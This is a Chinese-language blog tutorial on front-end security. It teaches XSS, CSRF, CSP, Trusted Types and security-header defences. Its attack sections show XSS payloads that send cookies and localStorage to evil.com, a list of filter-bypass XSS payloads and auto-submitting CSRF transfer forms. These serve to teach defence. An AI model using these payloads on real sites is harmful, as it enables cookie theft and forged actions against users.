前端安全深入:XSS、CSRF 与 CSP 的攻防实战

3908 字
20 分钟
前端安全深入:XSS、CSRF 与 CSP 的攻防实战

前言#

前端安全不是可选项,而是必修课。每年 OWASP Top 10 中,注入攻击(包括 XSS)和跨站请求伪造(CSRF)始终占据前列。然而很多前端开发者对安全的理解仅停留在「用 textContent 替代 innerHTML」的层面,缺乏系统性的认知。

本文将从攻击原理出发,深入到防御方案的实现细节,涵盖 XSS 的各种变种、CSRF 的攻防博弈、Content-Security-Policy 的精细配置、Trusted Types API 以及 SameSite Cookie 策略,帮助你构建真正安全的前端应用。

一、XSS(跨站脚本攻击)#

1.1 XSS 的三种类型#

反射型 XSS(Reflected XSS)

攻击载荷通过 URL 参数传入,服务端未经处理直接返回到页面中:

攻击 URL:
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
服务端代码(存在漏洞):
app.get('/search', (req, res) => {
// ❌ 直接将用户输入插入 HTML
res.send(`<h1>搜索结果: ${req.query.q}</h1>`);
});

存储型 XSS(Stored XSS)

攻击载荷被存储在数据库中,每次其他用户访问时都会执行:

// 攻击者在评论中提交:
const maliciousComment = `
Great article!
<img src="x" onerror="
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: JSON.stringify(localStorage),
url: location.href
})
})
">
`;
// 如果服务端和前端都未做过滤,这段代码会在所有查看评论的用户浏览器中执行

DOM 型 XSS(DOM-based XSS)

攻击完全发生在前端,服务端无感知:

// 存在漏洞的代码
const params = new URLSearchParams(location.search);
const name = params.get('name');
// ❌ 危险:直接将 URL 参数插入 DOM
document.getElementById('greeting').innerHTML = `Hello, ${name}!`;
// 攻击 URL:
// https://example.com/?name=<img src=x onerror=alert(document.cookie)>

1.2 高级 XSS 攻击手法#

绕过简单过滤的技巧:

<!-- 大小写绕过 -->
<ScRiPt>alert(1)</ScRiPt>
<!-- 事件处理器 -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<!-- 编码绕过 -->
<a href="javascript&#58;alert(1)">click</a>
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)">click</a>
<!-- CSS 注入(较老的浏览器) -->
<div style="background:url('javascript:alert(1)')">
<!-- SVG 注入 -->
<svg><script>alert&#40;1&#41;</script></svg>
<!-- 模板字面量注入(如果用了模板引擎) -->
{{constructor.constructor('alert(1)')()}}

利用 DOM Clobbering 的攻击:

<!-- 攻击者注入的 HTML(假设允许部分 HTML 标签) -->
<form id="document"><input name="cookie" value="fake"></form>
<!-- 此时 document.cookie 会返回 DOM 元素而不是真正的 cookie -->
<!-- 如果代码中有基于 document.cookie 的逻辑判断,就可能被绕过 -->

1.3 XSS 防御方案#

输出编码(最基础也最重要):

// utils/xss.ts - 针对不同上下文的编码函数
// HTML 上下文编码
export function escapeHTML(str: string): string {
const map: Record<string, string> = {
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&quot;',
"'": '&#x27;',
'/': '&#x2F;',
};
return str.replace(/[&<>"'/]/g, (char) => map[char]);
}
// HTML 属性上下文编码
export function escapeAttribute(str: string): string {
return str.replace(/[^a-zA-Z0-9,.\-_]/g, (char) => {
const hex = char.charCodeAt(0).toString(16);
return `&#x${hex.padStart(2, '0')};`;
});
}
// JavaScript 字符串上下文编码
export function escapeJS(str: string): string {
return str.replace(/[^a-zA-Z0-9,._]/g, (char) => {
const hex = char.charCodeAt(0).toString(16);
return `\\u${hex.padStart(4, '0')}`;
});
}
// URL 参数编码
export function escapeURL(str: string): string {
return encodeURIComponent(str);
}
// 使用示例
// ❌ 危险
element.innerHTML = `<a href="${userUrl}">${userName}</a>`;
// ✅ 安全
element.innerHTML = `<a href="${escapeAttribute(userUrl)}">${escapeHTML(userName)}</a>`;
// ✅ 更安全:使用 DOM API 而不是 innerHTML
const link = document.createElement('a');
link.href = userUrl; // 浏览器会自动处理 URL
link.textContent = userName; // textContent 不解析 HTML
element.appendChild(link);

DOMPurify - 富文本内容消毒:

import DOMPurify from 'dompurify';
// 基础使用
const cleanHTML = DOMPurify.sanitize(dirtyHTML);
// 自定义配置
const cleanHTML = DOMPurify.sanitize(dirtyHTML, {
// 允许的标签
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li', 'code', 'pre'],
// 允许的属性
ALLOWED_ATTR: ['href', 'class', 'target'],
// 禁止 javascript: 协议
ALLOW_UNKNOWN_PROTOCOLS: false,
// 允许的 URI 协议
ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i,
});
// 添加钩子进行额外处理
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
// 所有链接在新窗口打开并添加 noopener
if (node.tagName === 'A') {
node.setAttribute('target', '_blank');
node.setAttribute('rel', 'noopener noreferrer');
}
});
// Vue 中使用
// ❌ 危险
// <div v-html="userContent"></div>
// ✅ 安全
// <div v-html="sanitize(userContent)"></div>
composables/useSanitize.ts
import DOMPurify from 'dompurify';
export function useSanitize() {
const sanitize = (dirty: string, options?: DOMPurify.Config): string => {
return DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li', 'code', 'pre', 'blockquote'],
ALLOWED_ATTR: ['href', 'class'],
...options,
});
};
return { sanitize };
}

二、CSRF(跨站请求伪造)#

2.1 攻击原理#

CSRF 利用的是浏览器自动携带 Cookie 的特性。当用户已登录 A 站时,访问恶意的 B 站,B 站可以伪造向 A 站的请求:

<!-- 恶意页面 evil.com/attack.html -->
<!-- 方法 1: 图片标签(GET 请求) -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
<!-- 方法 2: 自动提交的表单(POST 请求) -->
<form id="csrf-form" action="https://bank.com/transfer" method="POST" style="display:none">
<input name="to" value="attacker" />
<input name="amount" value="10000" />
</form>
<script>document.getElementById('csrf-form').submit();</script>
<!-- 方法 3: fetch 请求(需要满足 CORS 条件) -->
<script>
fetch('https://bank.com/api/transfer', {
method: 'POST',
credentials: 'include', // 携带 cookie
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'to=attacker&amount=10000'
});
</script>
攻击流程:
1. 用户登录 bank.com,浏览器存储了 session cookie
2. 用户访问 evil.com(被诱导点击链接)
3. evil.com 的页面自动向 bank.com 发起请求
4. 浏览器自动携带 bank.com 的 cookie
5. bank.com 服务器认为是合法用户操作,执行转账

2.2 CSRF 防御方案#

方案一:CSRF Token

// 服务端 - Express 中间件
import crypto from 'crypto';
// 生成 CSRF Token
function generateCSRFToken(): string {
return crypto.randomBytes(32).toString('hex');
}
// 中间件:为每个会话生成 token
app.use((req, res, next) => {
if (!req.session.csrfToken) {
req.session.csrfToken = generateCSRFToken();
}
// 通过 cookie 传递 token(httpOnly: false,前端需要读取)
res.cookie('XSRF-TOKEN', req.session.csrfToken, {
httpOnly: false, // 允许 JavaScript 读取
secure: true,
sameSite: 'strict',
});
next();
});
// 验证中间件
function verifyCSRF(req, res, next) {
const token = req.headers['x-xsrf-token'] || req.body._csrf;
if (!token || token !== req.session.csrfToken) {
return res.status(403).json({ error: 'Invalid CSRF token' });
}
next();
}
// 应用到需要保护的路由
app.post('/api/transfer', verifyCSRF, (req, res) => {
// 处理转账逻辑
});
// 前端 - Axios 拦截器自动携带 CSRF Token
import axios from 'axios';
const api = axios.create({
baseURL: '/api',
withCredentials: true,
});
// 从 cookie 中读取 CSRF token 并添加到请求头
api.interceptors.request.use((config) => {
const token = document.cookie
.split('; ')
.find(row => row.startsWith('XSRF-TOKEN='))
?.split('=')[1];
if (token) {
config.headers['X-XSRF-TOKEN'] = decodeURIComponent(token);
}
return config;
});
// 使用
await api.post('/transfer', { to: 'friend', amount: 100 });

方案二:SameSite Cookie(现代浏览器首选)

// 服务端设置 Cookie
app.use(session({
cookie: {
httpOnly: true, // 禁止 JS 访问
secure: true, // 仅 HTTPS
sameSite: 'lax', // 关键!
maxAge: 24 * 60 * 60 * 1000,
domain: '.example.com',
},
}));

SameSite 的三个值:

Strict: 完全禁止第三方携带 Cookie
✅ 安全性最高
❌ 从外部链接点进来也不带 Cookie(用户体验差)
Lax: 导航到目标网站的 GET 请求携带,其他不携带
✅ 平衡安全性和用户体验
✅ 大部分 CSRF 攻击被阻止(POST 不携带 Cookie)
❌ GET 请求如果有副作用仍然有风险
None: 不限制(必须配合 Secure)
❌ 等于没有保护
只在确实需要跨站发送 Cookie 时使用
// 最佳实践:组合使用
// 会话 Cookie: SameSite=Lax(兼顾安全和体验)
res.cookie('session', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'lax',
});
// 敏感操作 Cookie: SameSite=Strict
res.cookie('csrf_token', token, {
httpOnly: false,
secure: true,
sameSite: 'strict',
});

方案三:Double Submit Cookie

// 服务端
app.use((req, res, next) => {
if (!req.cookies['csrf-double']) {
const token = crypto.randomBytes(32).toString('hex');
res.cookie('csrf-double', token, {
httpOnly: false,
secure: true,
sameSite: 'lax',
});
}
next();
});
// 验证:cookie 中的值必须与请求头中的值匹配
function verifyDoubleSubmit(req, res, next) {
const cookieToken = req.cookies['csrf-double'];
const headerToken = req.headers['x-csrf-token'];
if (!cookieToken || !headerToken || cookieToken !== headerToken) {
return res.status(403).json({ error: 'CSRF validation failed' });
}
next();
}

原理:攻击者可以让浏览器发送 Cookie,但无法读取另一个域的 Cookie 值。所以攻击者无法在请求头中放入正确的 token。

2.3 前端请求封装#

// lib/http.ts - 安全的 HTTP 客户端
class SecureHTTPClient {
private baseURL: string;
constructor(baseURL: string) {
this.baseURL = baseURL;
}
private getCSRFToken(): string | null {
// 从 meta 标签获取(SSR 渲染时注入)
const meta = document.querySelector('meta[name="csrf-token"]');
if (meta) return meta.getAttribute('content');
// 从 cookie 获取
const match = document.cookie.match(/XSRF-TOKEN=([^;]+)/);
return match ? decodeURIComponent(match[1]) : null;
}
private async request<T>(
method: string,
path: string,
data?: unknown,
options: RequestInit = {}
): Promise<T> {
const url = `${this.baseURL}${path}`;
const headers: Record<string, string> = {
'Content-Type': 'application/json',
};
// 非 GET 请求添加 CSRF token
if (method !== 'GET') {
const csrfToken = this.getCSRFToken();
if (csrfToken) {
headers['X-XSRF-TOKEN'] = csrfToken;
}
}
const response = await fetch(url, {
method,
headers: { ...headers, ...options.headers as Record<string, string> },
body: data ? JSON.stringify(data) : undefined,
credentials: 'same-origin', // 同源才带 cookie
...options,
});
if (response.status === 403) {
// CSRF token 可能过期,尝试刷新
await this.refreshCSRFToken();
// 重试一次
return this.request(method, path, data, options);
}
if (!response.ok) {
throw new Error(`HTTP ${response.status}: ${response.statusText}`);
}
return response.json();
}
private async refreshCSRFToken(): Promise<void> {
await fetch(`${this.baseURL}/api/csrf-token`, {
credentials: 'same-origin',
});
}
get<T>(path: string) { return this.request<T>('GET', path); }
post<T>(path: string, data: unknown) { return this.request<T>('POST', path, data); }
put<T>(path: string, data: unknown) { return this.request<T>('PUT', path, data); }
delete<T>(path: string) { return this.request<T>('DELETE', path); }
}
export const http = new SecureHTTPClient('');

三、Content-Security-Policy(CSP)#

3.1 CSP 是什么#

CSP 是一个 HTTP 响应头,告诉浏览器只允许加载和执行来自指定来源的资源。它是防御 XSS 的最强后盾——即使攻击者成功注入了恶意脚本,CSP 也能阻止其执行。

3.2 CSP 指令详解#

Content-Security-Policy:
default-src 'self'; # 默认只允许同源
script-src 'self' 'nonce-abc123' https://cdn.example.com; # JS 来源
style-src 'self' 'unsafe-inline'; # CSS 来源(允许内联样式)
img-src 'self' data: https:; # 图片来源
font-src 'self' https://fonts.googleapis.com; # 字体来源
connect-src 'self' https://api.example.com; # XHR/fetch 目标
frame-src 'none'; # 禁止 iframe
object-src 'none'; # 禁止 Flash 等插件
base-uri 'self'; # 限制 <base> 标签
form-action 'self'; # 表单提交目标
frame-ancestors 'none'; # 禁止被嵌入 iframe
upgrade-insecure-requests; # 自动升级 HTTP → HTTPS
report-uri /api/csp-report; # 违规上报地址

3.3 Nonce 模式(推荐)#

Nonce 是每次请求生成的随机字符串,只有携带正确 nonce 的脚本才能执行:

// 服务端中间件
import crypto from 'crypto';
app.use((req, res, next) => {
// 每次请求生成新的 nonce
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.nonce = nonce;
// 设置 CSP 头
res.setHeader('Content-Security-Policy', [
`default-src 'self'`,
`script-src 'self' 'nonce-${nonce}'`,
`style-src 'self' 'nonce-${nonce}'`,
`img-src 'self' data: https:`,
`connect-src 'self' https://api.example.com`,
`font-src 'self'`,
`object-src 'none'`,
`base-uri 'self'`,
`form-action 'self'`,
`frame-ancestors 'none'`,
].join('; '));
next();
});
<!-- HTML 模板中使用 nonce -->
<!DOCTYPE html>
<html>
<head>
<!-- ✅ 有 nonce,允许执行 -->
<script nonce="<%= nonce %>" src="/js/app.js"></script>
<link nonce="<%= nonce %>" rel="stylesheet" href="/css/app.css">
<!-- ✅ 内联脚本也需要 nonce -->
<script nonce="<%= nonce %>">
window.__CONFIG__ = { apiUrl: 'https://api.example.com' };
</script>
</head>
<body>
<!-- ❌ 没有 nonce 的脚本会被阻止 -->
<!-- <script>alert('blocked!')</script> -->
<!-- ❌ 事件处理器中的内联脚本也会被阻止 -->
<!-- <button onclick="doSomething()">Click</button> -->
</body>
</html>

3.4 Strict CSP 配置模板#

// 针对现代 SPA 的严格 CSP 配置
function getStrictCSP(nonce: string): string {
return [
// 基础限制
"default-src 'self'",
// 脚本:只允许 nonce 匹配的 + strict-dynamic(允许被信任的脚本加载其他脚本)
`script-src 'nonce-${nonce}' 'strict-dynamic'`,
// 样式:nonce 或 同源
`style-src 'self' 'nonce-${nonce}'`,
// 图片:同源 + data URI + HTTPS
"img-src 'self' data: https:",
// API 请求
"connect-src 'self' https://api.example.com wss://ws.example.com",
// 字体
"font-src 'self'",
// 禁止插件
"object-src 'none'",
// 限制 base 标签(防止 base URI 劫持)
"base-uri 'self'",
// 表单只能提交到同源
"form-action 'self'",
// 禁止被其他页面嵌入
"frame-ancestors 'none'",
// 自动升级 HTTP 请求
"upgrade-insecure-requests",
].join('; ');
}

3.5 CSP 违规上报#

// 服务端:接收 CSP 违规报告
app.post('/api/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
const report = req.body['csp-report'];
console.warn('CSP Violation:', {
blockedUri: report['blocked-uri'],
violatedDirective: report['violated-directive'],
originalPolicy: report['original-policy'],
documentUri: report['document-uri'],
sourceFile: report['source-file'],
lineNumber: report['line-number'],
});
// 存储到日志系统
// logger.warn('csp-violation', report);
res.status(204).end();
});
// 使用 Report-Only 模式先观察再强制执行
// 这个头不会阻止任何东西,只会上报违规
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.nonce = nonce;
// 先用 Report-Only 观察
res.setHeader('Content-Security-Policy-Report-Only', [
`default-src 'self'`,
`script-src 'nonce-${nonce}' 'strict-dynamic'`,
`report-uri /api/csp-report`,
].join('; '));
next();
});
// 观察一段时间,确认没有误报后,切换为强制模式:
// Content-Security-Policy-Report-Only → Content-Security-Policy

四、Trusted Types#

4.1 什么是 Trusted Types#

Trusted Types 是一个浏览器 API,它从根本上防止 DOM XSS——禁止将原始字符串传入危险的 DOM API(如 innerHTMLdocument.write),只允许经过「信任策略」处理后的对象。

4.2 配置和使用#

// 通过 CSP 头启用 Trusted Types
// Content-Security-Policy: require-trusted-types-for 'script'; trusted-types myPolicy default
// 创建信任策略
if (window.trustedTypes) {
const sanitizePolicy = trustedTypes.createPolicy('myPolicy', {
// 处理 HTML
createHTML(input: string): string {
// 使用 DOMPurify 消毒
return DOMPurify.sanitize(input, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href', 'class'],
});
},
// 处理脚本 URL
createScriptURL(input: string): string {
const url = new URL(input, location.origin);
// 只允许同源和 CDN 的脚本
const allowedHosts = [location.hostname, 'cdn.example.com'];
if (!allowedHosts.includes(url.hostname)) {
throw new TypeError(`Untrusted script URL: ${input}`);
}
return input;
},
// 处理脚本内容
createScript(input: string): string {
// 通常不允许动态创建脚本
throw new TypeError('Dynamic script creation is not allowed');
},
});
// 使用
const userContent = '<p>Hello</p><script>alert(1)</script>';
// ❌ 没有 Trusted Types 策略会抛出错误
// element.innerHTML = userContent;
// ✅ 通过策略处理
element.innerHTML = sanitizePolicy.createHTML(userContent);
// 结果: <p>Hello</p>(script 标签被移除)
}

4.3 Default Policy(兜底策略)#

// 创建 default 策略作为兜底
// 当代码试图使用原始字符串时,会自动通过 default 策略处理
if (window.trustedTypes) {
trustedTypes.createPolicy('default', {
createHTML(input: string): string {
console.warn('Untrusted HTML assignment detected:', input.substring(0, 100));
// 在开发环境中可以允许(方便调试)
if (import.meta.env.DEV) {
return DOMPurify.sanitize(input);
}
// 生产环境中严格处理
return DOMPurify.sanitize(input, {
ALLOWED_TAGS: [], // 去除所有标签
});
},
createScriptURL(input: string): string {
console.warn('Untrusted script URL detected:', input);
throw new TypeError(`Blocked untrusted script URL: ${input}`);
},
createScript(input: string): string {
console.warn('Untrusted script creation detected');
throw new TypeError('Blocked untrusted script creation');
},
});
}

4.4 与框架集成#

// Vue 3 中使用 Trusted Types
// vue.config 或 vite.config
export default defineConfig({
plugins: [
vue({
template: {
compilerOptions: {
// Vue 的 v-html 指令会触发 innerHTML 赋值
// 需要在 Trusted Types 策略中处理
},
},
}),
],
});
// 自定义 v-safe-html 指令
const trustedPolicy = window.trustedTypes?.createPolicy('vue-safe-html', {
createHTML: (input: string) => DOMPurify.sanitize(input),
});
const vSafeHtml = {
mounted(el: HTMLElement, binding: { value: string }) {
if (trustedPolicy) {
el.innerHTML = trustedPolicy.createHTML(binding.value) as unknown as string;
} else {
el.innerHTML = DOMPurify.sanitize(binding.value);
}
},
updated(el: HTMLElement, binding: { value: string }) {
if (trustedPolicy) {
el.innerHTML = trustedPolicy.createHTML(binding.value) as unknown as string;
} else {
el.innerHTML = DOMPurify.sanitize(binding.value);
}
},
};
// 注册指令
app.directive('safe-html', vSafeHtml);
// 使用
// <div v-safe-html="userContent"></div>

五、综合安全方案#

5.1 安全 HTTP 头配置#

middleware/security-headers.ts
export function securityHeaders(nonce: string) {
return {
// CSP
'Content-Security-Policy': getStrictCSP(nonce),
// 防止 MIME 类型嗅探
'X-Content-Type-Options': 'nosniff',
// 防止点击劫持
'X-Frame-Options': 'DENY',
// 控制 Referrer 信息泄露
'Referrer-Policy': 'strict-origin-when-cross-origin',
// 启用浏览器安全特性
'Permissions-Policy': [
'camera=()', // 禁止访问摄像头
'microphone=()', // 禁止访问麦克风
'geolocation=(self)', // 只允许同源获取地理位置
'payment=(self)', // 只允许同源支付
].join(', '),
// HSTS - 强制 HTTPS
'Strict-Transport-Security': 'max-age=63072000; includeSubDomains; preload',
// 跨域隔离(需要时启用)
// 'Cross-Origin-Opener-Policy': 'same-origin',
// 'Cross-Origin-Embedder-Policy': 'require-corp',
};
}
// Nginx 配置
// nginx.conf
/*
server {
# 安全头
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(self)" always;
# CSP 需要在应用层设置(因为 nonce 每次不同)
}
*/

5.2 前端安全检查清单#

scripts/security-audit.ts
// 在 CI 中运行的安全检查脚本
interface SecurityCheck {
name: string;
check: () => boolean | Promise<boolean>;
severity: 'critical' | 'high' | 'medium' | 'low';
}
const checks: SecurityCheck[] = [
{
name: 'No innerHTML usage without sanitization',
severity: 'critical',
check: async () => {
const { execSync } = await import('child_process');
// 搜索直接使用 innerHTML 的代码(排除测试文件和 node_modules)
try {
const result = execSync(
`grep -rn "\\.innerHTML\\s*=" src/ --include="*.ts" --include="*.vue" | grep -v "test\\." | grep -v "spec\\." | grep -v "DOMPurify\\|sanitize\\|trustedTypes"`,
{ encoding: 'utf-8' }
);
if (result.trim()) {
console.error('Found unsafe innerHTML usage:\n', result);
return false;
}
} catch {
// grep 没找到匹配项时返回非零退出码
}
return true;
},
},
{
name: 'No eval() usage',
severity: 'critical',
check: async () => {
const { execSync } = await import('child_process');
try {
const result = execSync(
`grep -rn "\\beval\\s*(" src/ --include="*.ts" --include="*.js" | grep -v "test\\." | grep -v "spec\\."`,
{ encoding: 'utf-8' }
);
if (result.trim()) {
console.error('Found eval() usage:\n', result);
return false;
}
} catch {
// 没有找到
}
return true;
},
},
{
name: 'No document.write usage',
severity: 'high',
check: async () => {
const { execSync } = await import('child_process');
try {
const result = execSync(
`grep -rn "document\\.write" src/ --include="*.ts" --include="*.js"`,
{ encoding: 'utf-8' }
);
if (result.trim()) {
console.error('Found document.write usage:\n', result);
return false;
}
} catch {
// 没有找到
}
return true;
},
},
{
name: 'All cookies have Secure and SameSite attributes',
severity: 'high',
check: async () => {
const { execSync } = await import('child_process');
try {
const result = execSync(
`grep -rn "res\\.cookie\\|setCookie" src/ server/ --include="*.ts" --include="*.js"`,
{ encoding: 'utf-8' }
);
const lines = result.trim().split('\n');
for (const line of lines) {
if (!line.includes('secure') || !line.includes('sameSite')) {
console.error('Cookie without secure/sameSite:', line);
return false;
}
}
} catch {
// 没有找到
}
return true;
},
},
];
async function runSecurityAudit() {
console.log('🔒 Running security audit...\n');
let passed = 0;
let failed = 0;
for (const check of checks) {
const result = await check.check();
if (result) {
console.log(` ✅ [${check.severity}] ${check.name}`);
passed++;
} else {
console.log(` ❌ [${check.severity}] ${check.name}`);
failed++;
}
}
console.log(`\n📊 Results: ${passed} passed, ${failed} failed`);
if (failed > 0) {
process.exit(1);
}
}
runSecurityAudit();

总结#

前端安全是一个纵深防御的体系,单一手段不足以抵御所有攻击。以下是关键防线的总结:

防御层技术手段防御目标
输入处理编码/转义/消毒XSS
Cookie 策略SameSite/HttpOnly/SecureCSRF + Cookie 窃取
CSPscript-src + nonceXSS(即使注入也无法执行)
Trusted Types信任策略DOM XSS
HTTP 头X-Frame-Options 等点击劫持/MIME 嗅探
CSRF TokenDouble Submit / Sync TokenCSRF
代码审计自动化检查 + Code Review所有类型

安全不是一次性工作,而是持续的过程。 定期审计、保持依赖更新、关注安全公告,才能在攻防博弈中保持主动。

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

前端安全深入:XSS、CSRF 与 CSP 的攻防实战
https://boke.hackerdream.xyz/posts/web-security-xss-csrf/
作者
晴天
发布于
2026-01-14
许可协议
CC BY-NC-SA 4.0
Profile Image of the Author
晴天
Hello, I'm 晴天.
公告
欢迎来到我的博客!这是一则示例公告。
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
标签
站点统计
文章
125
分类
17
标签
287
总字数
257,955
运行时长
0
最后活动
0 天前

目录